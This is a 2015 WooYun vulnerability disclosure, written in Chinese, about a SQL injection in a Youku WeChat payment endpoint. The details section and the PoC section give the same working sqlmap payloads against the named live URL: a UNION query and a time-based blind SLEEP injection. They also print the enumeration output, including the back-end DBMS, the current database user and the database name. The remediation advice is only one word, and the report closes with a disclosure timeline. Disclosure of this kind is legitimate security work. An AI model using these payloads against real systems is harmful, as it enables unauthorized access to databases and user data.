优酷某分站SQL注入漏洞

编号129694
Urlhttp://www.wooyun.org/bug.php?action=view&id=129694
漏洞状态厂商已经确认
漏洞标题优酷某分站SQL注入漏洞
漏洞类型SQL注射漏洞
厂商优酷
白帽子玉林嘎
提交日期2015-07-27 18:24:00
公开日期2015-09-10 19:50:00
修复时间(not set)
确认时间2015-07-27 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank12
漏洞简介
rt
漏洞细节

http://wechat.youku.com/pay/checkpay/order_id/450*
存在注入

Place: URI
Parameter: #1*
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: http://wechat.youku.com:80/pay/checkpay/order_id/-6935) UNION ALL SELECT CONCAT(0x71716e7471,0x4a724a6e6165616b4f70,0x716d706c71),NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://wechat.youku.com:80/pay/checkpay/order_id/405) AND SLEEP(5) AND (4631=4631
---
[14:59:12] [INFO] testing MySQL
[14:59:12] [INFO] confirming MySQL
[14:59:12] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[14:59:12] [INFO] fetching current user
current user: '[email protected]%'
[14:59:13] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/wechat.youku.com


available databases [1]:
[*] youku_vmall

POC

http://wechat.youku.com/pay/checkpay/order_id/450*
存在注入

Place: URI
Parameter: #1*
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: http://wechat.youku.com:80/pay/checkpay/order_id/-6935) UNION ALL SELECT CONCAT(0x71716e7471,0x4a724a6e6165616b4f70,0x716d706c71),NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://wechat.youku.com:80/pay/checkpay/order_id/405) AND SLEEP(5) AND (4631=4631
---
[14:59:12] [INFO] testing MySQL
[14:59:12] [INFO] confirming MySQL
[14:59:12] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[14:59:12] [INFO] fetching current user
current user: '[email protected]%'
[14:59:13] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/wechat.youku.com


available databases [1]:
[*] youku_vmall

修复方案

过滤

状态信息 2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开
厂商回复感谢提交!漏洞修复中!
回应信息危害等级:高漏洞Rank:12 确认时间:2015-07-27 19:48